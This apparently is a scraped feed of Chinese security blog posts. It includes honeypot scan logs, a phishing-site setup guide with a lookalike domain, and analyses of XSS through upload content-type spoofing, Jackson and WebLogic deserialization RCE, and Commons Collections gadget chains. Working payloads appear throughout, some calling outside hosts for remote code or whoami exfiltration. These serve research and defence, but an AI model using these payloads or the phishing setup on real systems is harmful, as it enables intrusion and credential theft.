1 | {"dst_host": "192.168.1.7", "dst_port": "21", "local_time": "2019-01-06 16:35:24.356080", "logdata": {"FIN": "", "ID": "37499", "IN": "eth1", "LEN": "60", "MAC": "08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00", "OUT": "", "PREC": "0x00", "PROTO": "TCP", "PSH": "", "RES": "0x00", "SYN": "", "TOS": "0x00", "TTL": "56", "URG": "", "URGP": "0", "WINDOW": "256"}, "logtype": 5002, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": "40098"} |
sudo nmap -sS 192.168.1.7
1 | {"dst_host": "192.168.1.7", "dst_port": "21", "local_time": "2019-01-06 16:35:24.190176", "logdata": {"ID": "51918", "IN": "eth1", "LEN": "56", "MAC": "08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00", "OUT": "", "PREC": "0x00", "PROTO": "TCP", "RES": "0x00", "SYN": "", "TOS": "0x00", "TTL": "58", "URGP": "0", "WINDOW": "512"}, "logtype": 5001, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": "40088"} |
sudo nmap -sF 192.168.1.7
1 | {"dst_host": "192.168.1.7", "dst_port": "23", "local_time": "2019-01-06 16:46:18.336954", "logdata": {"FIN": "", "ID": "29768", "IN": "eth1", "LEN": "40", "MAC": "08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00", "OUT": "", "PREC": "0x00", "PROTO": "TCP", "RES": "0x00", "TOS": "0x00", "TTL": "59", "URGP": "0", "WINDOW": "1024"}, "logtype": 5005, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": "35116"} |
sudo nmap -sX 192.168.1.7
1 | {"dst_host": "192.168.1.7", "dst_port": "139", "local_time": "2019-01-06 16:48:46.225539", "logdata": {"FIN": "", "ID": "19984", "IN": "eth1", "LEN": "40", "MAC": "08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00", "OUT": "", "PREC": "0x00", "PROTO": "TCP", "PSH": "", "RES": "0x00", "TOS": "0x00", "TTL": "56", "URG": "", "URGP": "0", "WINDOW": "1024"}, "logtype": 5004, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": "50913"} |
sudo nmap -sN 192.168.1.7
1 | {"dst_host": "192.168.1.7", "dst_port": "5060", "local_time": "2019-01-06 16:51:07.789903", "logdata": {"ID": "26441", "IN": "eth1", "LEN": "40", "MAC": "08:00:27:da:4c:e2:6c:96:cf:dd:ee:bd:08:00", "OUT": "", "PREC": "0x00", "PROTO": "TCP", "RES": "0x00", "TOS": "0x00", "TTL": "50", "URGP": "0", "WINDOW": "1024"}, "logtype": 5003, "node_id": "opencanary-1", "src_host": "192.168.1.6", "src_port": "58015"} |
SQLPro for MSSQL
1 | {"dst_host": "172.18.200.58", "dst_port": 1433, "local_time": "2019-01-07 09:04:58.690137", "logdata": {"AppName": "SQLPro for MSSQL (hankinsoft.com)", "CltIntName": "DB-Library", "Database": "test", "HostName": "Piroguehost", "Language": "us_english", "Password": "sa123456", "ServerName": "172.18.200.58:1433", "UserName": "sa"}, "logtype": 9001, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 64344} |
SQLPro for MSSQL
1 | {"dst_host": "172.18.200.58", "dst_port": 1433, "local_time": "2019-01-07 09:13:28.669829", "logdata": {"PASSWORD": "", "USERNAME": ""}, "logtype": 9002, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 64499} |
可以通过浏览器配置一个带有认证的http代理,随便访问一个链接。
1 | {"dst_host": "172.18.200.58", "dst_port": 8080, "local_time": "2019-01-07 13:26:47.761297", "logdata": {"PASSWORD": "passsquid", "USERNAME": "squidadmin"}, "logtype": 7001, "node_id": "opencanary-1", "src_host": "172.18.205.14", "src_port": 53798} |
暂时不搞了,因为要依赖系统真实的smb服务。
]]>Tornado+Vue+Mysql+APScheduler+Nginx+Supervisor
可以选择通过脚本自动化安装,也可以选择手工安装。
Thinkst Applied Research
天使用户群和开源贡献者:
@Weiho @kafka @Pa5sw0rd @Cotton @Aa.Kay @冷白开 @YongShao @Lemon
在使用过程当中出现任何问题,请点击这里反馈
]]>从职责上区分:
负责交互与展示的部分为前端;
负责提供数据,处理业务的部分为后端。
核心思想是前端html页面通过ajax调用后端的restuful api接口并使用json数据进行交互。
1)提高工作效率,分工更加明确
前端只关注前端的事,后端只关心后端的活,两者开发可以同时进行。在后端还没有提供接口的时候,前端可以先通过Mock的方式模拟接口数据。页面的增加和路由的修改也不必再去麻烦后端,页面模板可以重复使用,开发更加灵活。
2)性能提升
前端页面可以按需加载,服务器也不需要解析前端页面,在页面交互及用户体验上有所提升。
3)降低维护成本
页面的调试不再需要后端人员的参与,可以非常快速的定位及发现问题所在,代码重构及可维护性增强。
推荐看一下这篇文章:《前后端分离的思考与实践(一)》,淘宝前端团队从开发角度详细阐释大厂在业务开发中使用前后端分离架构带来的优势,以及为何在前端技术栈要引入Node层。
下面我们就基于SPA+Node+JAVA的架构去聊一下前后端分离中可能存在的安全风险。
我们从图中可以看到前端工程师负责的静态资源和Node中间层部分开发和后端工程师负责的后端Server业务逻辑的开发。
②当用户携带token和请求业务单号applyNo,向Node.js Server请求,③④Node中间层通过thrift协议将token在用户中心验证并解析取出userid,⑤Node.js Server将userid与业务单号applyNo发送给后端,⑥后端根据传入的userid和业务单号applyNo进行业务逻辑,⑦返回数据。
后端没有校验前端传入的参数是否归属于当前登录用户:因为在第②步中前端的请求暴露在公网中可以任意请求和篡改的,例如我可以请求applyNo=123,也可以请求applyNo=456;虽然前端在第③④步中做了鉴权,并向后端发送了userid,但后端常常没有用到userid(缺少第⑥步中绿色部分),而是在业务逻辑中直接用applyNo进行业务逻辑并返回;这时候攻击者就可以构造大量applyNo请求,越权查询其他人敏感信息。
从图中我们可知,攻击者也可以绕过Node.js Server层,直接向后端Server接口进行请求。即使在做了数据归属校验的情况下,如果直接向后端构造大量userid和applyNo请求,遍历两个参数,也可能造成大量敏感信息泄漏,只不过攻击成本高了许多。
在我们发现的漏洞案例中,因为前端框架Vue的路由配置模式“#”,而产生的不可预期的高危漏洞风险。
在vue的路由配置中有mode选项,最直观的区别就是在url中 hash 带了一个 # 而history模式是没有#的:
hash mode:
history mode:
而恰恰是因为这个#,导致前端先加载SPA单页应用的index.html可以浏览到后台dashboard等菜单,通过#的锚链接去路由各个前端界面,在浏览单页触发后端接口调用时发现登录态失效才会跳转到首页。
攻击者就会通过forexample.com/#/加载单页前端界面,偷窥web管理后台的相关界面和功能,会存在如下图中的情况:
原则上前端路由即使可以偷窥后台静态资源,也无法获取后端敏感数据,但在实际情况中后端某些接口疏忽了鉴权(例如上图中的/api/host)导致了敏感信息泄露。
我们应在加载index.html单页前进行鉴权,防止类似的事情发生。
1 | export default new Router({ |
Vue-router 中hash模式和history模式的区别
前后端分离的思考与实践(一)
感谢团队小伙伴对问题的探讨和开发实践。
]]>也只有花梨坎到望京的两点一线。
红酒杯们前呼后拥挤上,
疾驶也追不上的时间。
你有你的年份,
她有她的澄澈,
焦急地待人品鉴。
在雾霭中,
我挥发着心跳,
只想与这里一切道别。
终于,
我盼到每个周五,
火车票上那小小的蓝天。
日子虽慢,
道阻且长,
我极力褪去一身碎玻璃片。
请紧紧的抱着我,
这个回到你身边的小火炉铁。
我会伴你走过春夏秋冬,
迎接我们的小葡萄叶。
————献给我挚爱的妻子,女本柔弱,为母则刚。
]]>假设阿里巴巴的公司重要的系统入口是 login.alibaba-inc.com,那你就可以注册一个非常具有迷惑性的域名,例如 alibaba-cin.com。通过cloudflare启用一个login的二级域名,并配置https,然后开发一个一模一样的登录页面就可以进行钓鱼实践了。
首先注册好的钓鱼网站域名: alibaba-cin.com
注册cloudflare账号,并把 alibaba-cin.com 进行网站添加
输入购买的域名,Add Site
Next,下一步
选择免费的方案, Confirm Plan
进行0$支付吧,Purchase
进行dns查询等待
cloudflare扫描你的域名,发现并没有修改成cloudflare的dns,所以检查失败,
这时后点击下方的continue
cloudflare给出提示,你需要把他给定的两个dns拿到域名商的dns处进行修改
域名商处修改成cloudflare的dns,并确定修改
修改成功等待几分钟就生效了,刷新页面看一下
在cf面板dns管理界面,添加A记录
将ip地址指向你的公网web服务器ip(图中为演示,随意填写的ip)
选择Crypto设置中的Flexible选项
将下面的总是使用https选项打开
将下面的自动https重写选项打开
至此我们已经配置好钓鱼的登录域名,开启https选项,加强迷惑性。
我们在针对公司进行钓鱼演戏时,并不需要真正开发一套账户体系,只是需要写一个一模一样登录界面,后端接收登录提交的post请求数据即可。
我们浏览器打开需要克隆的目标站,右键源代码把静态html全部复制出来,保存到index.html。
打开页面会发现乱码,很多资源加载不出来
那是因为我们右键源代码复制出来的html里面有很多相对路径,相对路径的资源引用的是目标站的网站路径。我们需要把这种相对路径的资源全部引用目标站的链接,比如/css/bootstrap.min.css改成https://sso.yunxxxxx.com/css/bootstrap.min.css。
前端html如何将内容post到后端web框架呢?
旧Kali Linux 中有一个社工工具setoolkit,我尝试过自动生成的目标站钓鱼页面效果不是太好。这是因为目标站的首页的资源复杂,自动生成钓鱼网站的工具比较难实现完美的克隆并与服务器端交互。所以需要自己有一些coding的能力。
1 | application.py - 网站配置文件 |
钓鱼一定要跟公司的上层领导做好沟通,并取得同意支持,不要任性,可能…会被xx。
如果你注册的域名足够巧妙,会取得意想不到的成果:举个例子,当时我注册了一个前公司钓鱼网站的域名,搭建在公网上,并没有做任何事情,神奇的事情发生了。一个周内,我并没有宣传,也没有向外散播,好几个公司同事自投罗网。分析发现,因为注册的域名在手机或电脑上很容易敲错其中的一个字母,比如yun,敲成yum,而且频率较高的部门比较固定为某一类。为了避免不必要的误会,我已经将钓鱼网站域名免费转给了前公司安全的小伙伴。
这招应该对大厂比较管用,员工的基数大,躺着收密码,但要向官方问清楚是否可以采取钓鱼的方式进行;
源码中的index.html我已经把前公司资源的链接换成了不存在的地址,打开后会乱码,因为并不想让前公司当成靶子。
不要乱搞,你应该购买域名隐私保护。
有喜欢挖洞的小伙伴经常找不到https的xss平台,用cloudflare来搭建自己的https xss平台吧,我已经试过了。
微信公众号内没有内容,关注与我在后台进行交流:
Git: https://github.com/p1r06u3/phishing
一个python依赖库:
1 | pip install tornado |
一行命令:
1 | python server.py |
通过hook技术在windows和Linux操作系统的ring0级别进行监控进程和命令执行。
Windows:
NT式驱动服务开机自启动:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
net start pro
通过pcap(gopcap)进行对网络链接进行实时抓包。
Windows:装WinPcap
Linux:装libpcap
通过inotify(fsnotify)监控磁盘文件变化。
索引:monitor2018_04
类型:connection、file、loginlog、process
字段:data.action、data.command、data.dir、data.hash、data.hostname、data.info、data.local、data.name、data.parentname、data.path、data.pid、data.ppid、data.protocol、data.remote、data.status、data.user、data.username、ip、time
举例:
_index | _type | _id | _score | ip | data.remote | data.status | data.username | time | data.dir | data.local | data.name | data.pid | data.protocol | data.action | data.hash | data.path | data.user | data.command | data.info | data.parentname | data.ppid |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
monitor2018_04 | loginlog | AWKodaW5ZT0_Kn0N9YOy | 1 | 192.168.1.1 | 0 | true | Administrator | 2018-02-17T18:37:44+07:00 | |||||||||||||
monitor2018_04 | connection | AWKpDlutZT0_Kn0N9Ydd | 1 | 192.168.1.1 | 182.118.40.31 | 2018-04-09T14:18:06+08:00 | out | 192.168.1.1:54080 | LiveUpdate360.exe | 3524 | tcp | ||||||||||
monitor2018_04 | file | AWKo3gdkZT0_Kn0N9Ycu | 1 | 192.168.1.1 | 2018-04-09T13:25:21+08:00 | WRITE | 899a5bf1669610cdb78d322ac8d9358b | c:\windows\sysnative\Packet.dll | Administrators | ||||||||||||
monitor2018_04 | process | AWKzeH6oZT0_Kn0N9Y0x | 1 | 192.168.1.1 | 2018-04-11T14:49:43+08:00 | cmd.exe | 2380 | sqlservr.exe | 1392 |
1 | >show collections |
字段数据举例:
client:
1 | db.client.find() |
config:
1 | db.config.find() |
file:
1 | > db.file.find() |
info:
1 | > db.info.findOne() |
notice:
1 | > db.notice.findOne() |
rules:
1 | { |
server:
1 | { |
statistics:
1 | { "_id" : ObjectId("5aca09915e2ba50ef1ac00ab"), "uptime" : ISODate("2018-04-11T12:35:13.782Z"), "type" : "loginlog", "info" : "192.168.1.6", "count" : 30, "server_list" : [ "192.168.1.4", "192.168.1.5" ]} |
[server]->ScanMonitorThread(安全检测线程)->Run(开始检测)->BlackFilter(黑名单)->WhiteFilter(白名单)->Rules(规则引擎)->Intelligence(威胁情报)
Linux目前支持Apache和nginx的目录自动监控:
apachectl -V
nginx -V
Windows目前支持IIS6和IIS7:
先在初始化时获取进程列表存库,如果获取到web进程,并web标签入库,则收集web目录,并进行监控:
x32
iis6配置文件:%SystemDrive%\WINDOWS\SysNative\inetsrv\MetaBase.xml
iis7配置文件:%SystemDrive%\Windows\SysNative\inetsrv\config\applicationHost.config
x64
iis6配置文件:%SystemDrive%\WINDOWS\System32\inetsrv\MetaBase.xml
iis7配置文件:%SystemDrive%\Windows\System32\inetsrv\config\applicationHost.config
1)文件监控,通过监控文件WRITE行为,正则匹配文件的后缀类型为黑名单中的后缀进行匹配。bypass 中文.aspx
2)进程监控,父进程是web服务,执行子进程是黑名单进程中的进程名字或命令。
统计第n次出现的登录ip、登录用户名告警,原则上MongoDB的statistics表里loginlog(登录的ip)、userlist(登录的用户)、listening(ip监听端口)、crontab(计划任务)、process(进程名字)、startup(启动项名字)、service(服务名字)都存在count字段,都可以通过自定义规则进行告警。
1)进程监控
2)文件监控,登录日志windows《驭龙 EventLog 读取模块的迭代历程》,Linux 登录成功(解析/var/log/wtmp)、登录失败lastb命令;
3)网络流量
《Linux System Calls Hooking Method Summary》、《如何在Linux下监控命令执行》、《「驭龙」Linux执行命令监控驱动实现解析》
在驭龙hids官方git上的演示sql注入和命令执行,实际上跟我们平时理解的waf有所区别,没有对web请求进行监控。而是通过规则定义了sqlsrver.exe启动子进程为cmd.exe的调用关系,而在sqlserver上通过xp_cmdshell执行命令就是通过cmd间接执行其他命令的。
在3gstudent和evi1cg.me的博客上有关于win下文件下载、命令执行和sqlserver执行命令的一些姿势,如果理清楚进程的调用关系,相信你一定可以绕过某些安全软件的动作拦截,包括msf的payload去开shell等。
1)进程监控,通过规则定义进程调用关系进行告警
没有小结~
]]>安全研究员在近期发现网络上频繁发生国内大型互联网厂商上传图片后解析成html、js页面,被黑产人员用作钓鱼攻击。
酷狗钓鱼链接:http://userphoto.bssdl.kugou.com/70296bbe6e02223af1cfb952b2eefcb3.jpg#1519721124069
实际上攻击者上传了一个内容为<scriptsrc=//55555.gz.bcebos.com/mjk.js?111></script>
的后缀为jpg的文件,当用户打开原本是图片的网址,会被浏览器渲染成js最终的展示效果,包括一些列的鼠标事件和跳转。
网易对象存储中提到“文件的 MIME,定义文件的类型及网页编码,决定浏览器将以什么形式、什么编码读取文件。如果用户没有指定则根据 Key 或文件名的扩展名生成,如果没有扩展名则填默认值”
以163站点为例http://new.hi.163.com/#/setting/step1 ,163新闻讨论站点上传头像地址。
攻击步骤:
0x01:
无论我们上传什么类型后缀的文件,只要截获上传数据包,将content-type类型修改为“text/html”:
0x02:
打开上传后的文件地址:http://hi-163-common.nosdn.127.net/upload/201802/27/6efee9301baa11e89a72a5fc87cb5892
发现content-type为我们上传时设置的text/html,发现原本的图片,已经把内容当做html进行渲染。
攻击者可通过自定义上传content-type类型,进行xss或者钓鱼攻击。
业务研发方:在使用对象存储时,根据业务需要在服务端先校验文件后缀类型,再校验Content-Type是否属与此后缀类型相匹配;
云储存方:文件后缀类型与文件MIME强关联,一一对应,例如禁止jpeg后缀的文件MIME变成text/html。
在几个月前我就在博客中有写到一篇《阿里云OSS约等于文件上传漏洞?》的文章,其中就提到了任意文件上传导致xss漏洞,当时只是发现了现象,并没有对oss云存储的形成漏洞的原因进一步测试总结。
现在来看除了用户使用上要严格校验上传文件类型外,OSS文件存储是否也应该在设计上避免“因用户默认不在后端校验文件MIME类型”导致的安全隐患呢?
北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。
Jackson是一个开源的Java序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。
关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
getOutputProperties()->newTransFormer()→newInstance()
通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时
(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。
官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。
黑名单如下:
1 | org.apache.commons.collections.functors.InvokerTransformer |
众所周知黑名单是一种不可靠的修复方式,攻击者常常可以通过一些手段绕过黑名单,造成漏洞影响。
安全研究人员发现,在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。
关于Jackson-databind漏洞所有的poc验证代码:https://github.com/shengqi158/Jackson-databind-RCE-PoC Code by 廖新喜
其中CVE-2017-17485的验证代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29package jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.reflect.Array;
/**
* Created by liaoxinxi on 2017-12-11.
*/
public class TestJdbcRowSetImplPoc {
public static void main(String args[]){
testSpringFramework();
}
public static void testSpringFramework(){
//CVE-2017-17485
// 假设这是攻击者可以控制的请求包payload
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " +
"\"http://188.51.32.233/spel.xml\"]\n";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
spel.xml文件内容:
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
造成代码执行:
官方已经更新黑名单列表,并计划在Jackson的大版本3.X通过api层实现基于白名单的序列化方式来应对多态类:
1 | org.apache.commons.collections.functors.InvokerTransformer |
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
https://mp.weixin.qq.com/s/FOOC9EmNqGE9YB5OAu4mEA
https://github.com/FasterXML/jackson-databind/releases
https://www.securityfocus.com/archive/1/archive/1/541652/100/0/threaded
https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
https://www.secfree.com/article-676.html
老外的详细利用文章:http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
国内的demo:http://blog.51cto.com/duallay/1961598
poc xml文件:
1 | <?xml version="1.0" encoding="UTF-8"?> |
读取xml文件,进行反序列化执行命令代码:
1 | import java.io.BufferedInputStream; |
1 | public void handle(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException { |
当开启调试模式,时,WLSServletAdapter对请求进行接收处理,执行到super.handle(var1, var2, var3);
后,跟进关键代码如下:
1 | public NextAction processRequest(Packet var1) { |
将var3传递给readHeaderOld(var3),继续跟进readHeaderOld。
var1的值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17com.sun.xml.ws.api.message.Packet@4419bacb Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.7153b738c41fxxxxxxaadf9dbd46.tu4.org</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
1 | protected void readHeaderOld(Header var1) { |
基础知识拓展:
ByteArrayInputStream的用法:
1
2
3
4
5 InputStream
|__ ByteArrayInputStream
OutputStream
|__ ByteArrayOutputStreamByteArrayInputStream可以将字节数组转化为输入流。ByteArrayOutputStream可以捕获内存缓冲区的数据,转化成字节数组。
构造函数:
1
2
3 public ByteArrayInputStream(byte buf[])
public ByteArrayInputStream(byte buf[], int offset, int length)注意它需要提供一个byte数组作为缓冲区。
我们通过idea代码窗口内可以看到各个变量在调试运行后的值,var4的值就是接收poc的xml,在WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
中,要创建WorkContextXmlInputAdapter的实例var6, 则var4.toByteArray()先转换成字节数组,传入ByteArrayInputStream转换成输入流,跟进WorkContextXmlInputAdapter,在WorkContextXmlInputAdapter.class内,WorkContextXmlInputAdapter接收输入流,并将输入流转换成XMLDecoder对象,这时如果再调用XMLDecoder的readObject()方法对其进行反序列化即可造成命令执行。其实在this.receive(var6);
中,进行了多层调用最终到达readObject,下面会省略过多无关调试,记录xml反序列化相关:
下面是对WorkContextXmlInputAdapter和创建xml反序列化对象后如何执行的readObject方法造成rce的代码跟踪
1 | // |
WorkContextXmlInputAdapter->new XMLDecoder(var1)
1 | public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException { |
第72行,readUTF()
第103行
1 | public String readUTF() throws IOException { |
当WorkContextEntrylmpl.class中的readUTF执行完成之后,返回反序列化的字符串,rce也执行完成!
1 | /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/logs |
xxlegend: Weblogic XMLDecoder RCE分析
Tomato: WebLogic WLS-WebServices组件反序列化漏洞分析
童话:CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记
漏洞环境:Vulhub
由于业务发展需要对java知识栈进行学习,而本人对java的熟悉程度,仅限于大学课堂java逃课的水平,非常感谢廖新喜和Tomato的指点,包括idea远程调试docker内的weblogic、weblogic的关键目录结构和jar包、jd-gui。
]]>下面的demo是根据需求写的简单测试脚本
1 | #!/usr/bin/env python |
demo的output:
1 | Boom:git_response pirogue$ python test.py |
下面的代码是从主程序中,摘取出来的代码片段
1 | from multiprocessing.dummy import Pool as ThreadPool |
上面的多线程代码片段是一个回调函数,没有完全根据demo进行改装,有了demo根据需求改起来也不难,多调试就可以了。
1 | from multiprocessing.dummy import Pool as ThreadPool |
pool_git是你需要多线程调用的功能函数,list_git是pool_git函数需要接收的参数,默认情况下pool_git是一个接收一个参数的函数。
但是我们的功能常常设计的逻辑比较复杂,需要在pool_git中传入多个参数,这时list_git就应该给一个多个元组组成的列表。
stackoverflow上老外给的代码示例:
1 | def multi_run_wrapper(args): |
output
1 | [3, 5, 7] |
Stack Overflow上更多的答疑方便你更好的理解:
https://stackoverflow.com/questions/5442910/python-multiprocessing-pool-map-for-multiple-arguments
相信聪明的你一定能看得懂~
1 | from multiprocessing.dummy import Pool as ThreadPool |
多线程进程池,绑定一个CPU核心
1 | from multiprocessing import Pool |
多进程,运行于多个cpu核心
如果你搞不懂是CPU密集型的任务,还是IO密集型的任务,那就用这个库两条import都写上,然后分别实例化跑一下就知道耗时长短,用法上只是在创建对象上改几个字母就行Pool和ThreadPool的互换。
老外实例妙趣横生的讲解:《一行代码搞并行》
http://chriskiehl.com/article/parallelism-in-one-line/
]]>学习记录贴,fighting~
序列化就是把对象的转换成字节流,便于保存在内存、文件、数据库中(即便于存储或传输)过程;反序列化即逆过程,又字节流还原成对象。
序列化:java.io.ObjectOutputStream类的writeObject()方法可以实现序列化;
反序列化:java.io.ObjectInputStream类的readObject()方法用于实现反序列化。
将字符串对象“中国”进行序列化存储到本地“test.ser”文件,然后再通过反序列化进行恢复打印输出的样例代码:
1 | package serialize; |
如果Java应用对用户的输入(序列化过的恶意数据),即不可信数据(如序列化过的命令执行代码)做了反序列化处理,产生的非预期对象的过程中可能带来任意代码执行。
序列化和反序列化函数本身不存在漏洞,而是Collections这个第三方基础库的设计功能过于丰富(设计缺陷),安全研究员在其反序列化过程中发现了可以利用Collections特殊接口通过java语言的反射机制调用任意函数,比如命令执行函数来执行命令。
1 | JAVA反射机制 |
1 | 实现Serializable和Externalizable接口的类的对象才能被序列化。 |
由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
既然是反序列化漏洞,而且我们已经知道反序列化漏洞形成的根本原因是构造一个恶意的序列化rce对象,让序列化rce在反序列化时进行命令执行。
漏洞发现者就在Collectios库中找到一个继承了Serializable接口的而且可以调用命令执行的类(InvokerTransformer),这时候InvokerTransformer创建出来的对象就是可以序列化的对象了,然后通过另外一个继承了Serializable接口的类(AnnotationInvocationHandler)去接收InvokerTransformer构造好的可序列化的任意代码执行对象,通过ObjectOutputStream将对象输出到文件payload。
因为这个payload是通过AnnotationInvocationHandler序列化的,当把payload发送到使用了低版本有漏洞的Collections的应用,ObjectInputStream方法会自动识别是使用了AnnotationInvocationHandler类序列化的对象,进而自动通过AnnotationInvocationHandler的readObject()函数对其进行反对其反序列化操作。
现在我们知道了谁可以构造代码执行,谁负责序列化和反序列化,那为什么会在反序列化时不是正常把命令执行代码反序列化成代码对象,而是执行了命令呢?这里面的触发链条和细节,我们在下面解释。
简化思路:
AnnotationInvocationHandler重写的readObject()在反序列化时优先于原生的readObject()被调用,而重写的readObject()内部有修改Map变量值的操作,readObject()在反序列化时同时修改了变量值时,修改变量这一动作就会触发代码执行。
为什么修改变量会触发代码执行?
在TransformedMap是Collectios库把Map的一个封装实现,功能是通过TransformedMap.decorate()把一个Map对象转换成另外一个Map对象。
1 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
可以看到decorate函数传入的一个Map对象,Transformer类型的key,Transformer类型的value值。
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。代码如下:
1 | public interface Transformer { |
当Map中的任意项的Key或者value被修改,相应的Transformer就会被调用。而这时漏洞的核心InvokerTransformer出现了,它继承了Transformer和Serializable接口,内部通过Java的反射机制可以调用任意函数,只需传入方法名、参数类型和参数。
1 | public class InvokerTransformer implements Transformer, Serializable { |
若通过它调用Runtime.getRuntime().exec()便可以执行命令,且因继承了Serializable也是易序列化的。重要的是多个Transformer能串联起来,形成ChainedTransformer,而ChainedTransformer正好可以承载Runtime.getRuntime().exec()。
1 | public static void main(String[] args) throws Exception { |
而上面我们讲到为什么修改Map值,触发代码执行,上面这里便是关键。
因为我们构造出了ChainedTransformer承载了
1 | ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe"); |
而TransformedMap.decorate()可以把一个Map对象转换成另外一个Map对象,而decorate()的第3个参数传入的就是一个Transformer,我们构造的ChainedTransformer就可以作为第三个参数传入。
我们先随意定义一个Map对象叫做innerMap,通过TransformedMap.decorate()把它转换成另外一个Map对象,叫做outerMap,而decorate()传入的第三个参数就是我们构造好的ChainedTransformer任意代码触发链。这时候如果后面的操作修改了被转换出来的Map对象outerMap的值,就会触发ChainedTransformer内的一系列InvokerTransformer,造成代码执行。
下面是我们通过人为通过Map自己内部的方法修改元素的值来达到触发的目的:
1 | package serialize; |
所以到这里,我们再回头看一下宽泛解释,我们要通过反序列化去自动触发RCE,而不是人为通过Map方法修改Map值触发,所以找到AnnotationInvocationHandler,它的readObject()函数,函数内对memberValues所有的值都有setValue操作,自动触发Transformer构造的rce链。
AnnotationInvocationHandler类继承InvocationHandler和Serializable:
1 | class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
AnnotationInvocationHandler的readObject()函数内对memberValues的操作:
1 | private void readObject(java.io.ObjectInputStream s) |
AnnotationInvocationHandler序列化构造
1 | package serialize; |
之所以要写这篇口水文,是因为最近在检测自家公司产品时发现存在这个问题,同时不久在测试某src的某系统时也存在类似这种问题,所以个人认为还是要提高一些警惕,让开发或测试者尽量消除不必要的麻烦,不要错误的认为文件托管在oss就可以忽略站内的上传功能存在的安全隐患。
首先借用阿里云oss首页的介绍性文字来解释下oss是什么:1
海量、安全、低成本、高可靠的云存储服务,提供99.99999999%的数据可靠性。使用RESTful API 可以在互联网任何位置存储和访问,容量和处理能力弹性扩展,多种存储类型供选择全面优化存储成本。
简单可以理解为企业自身的文件存储服务器。问题出在站点的上传功能,存在任意文件上传,但因为上传到的是oss或文件存储服务器,所以不论是什么类型的脚本都是不解析的,访问会直接下载回来,那作为开发者会高枕无忧了吗?然并卵,我还可以上传一个内容存在xss payload的hack.html的文件,服务器便会静态文件进行解析;重点来了,可能企业在使用oss服务时,使用的域名是img-oss.yourcompanydomain.com,而在你公司的sso或产品为了跨域在开发时set-cookie:*.yourcompanydomain.com,那攻击者就可以拿着img-oss.yourcompanydomain.com/hack.html找对应的场景或发给公司的员工,打开后cookie可能就被“借”走了。
总结两点:
任意文件上传;
站点可以跨域
你看不见我~文末我准备追加一种姿势
0x01:
set-cookie
0x02:
文件上传,前端验证
先上传图片,然后通过bp抓包,修改后缀为html,进行上传
访问即可打印弹出cookie
0x01:
某src在上传文件时不仅会校验文件后缀,在后端也会校验文件头
0x02:
绕过上传
上传后的response
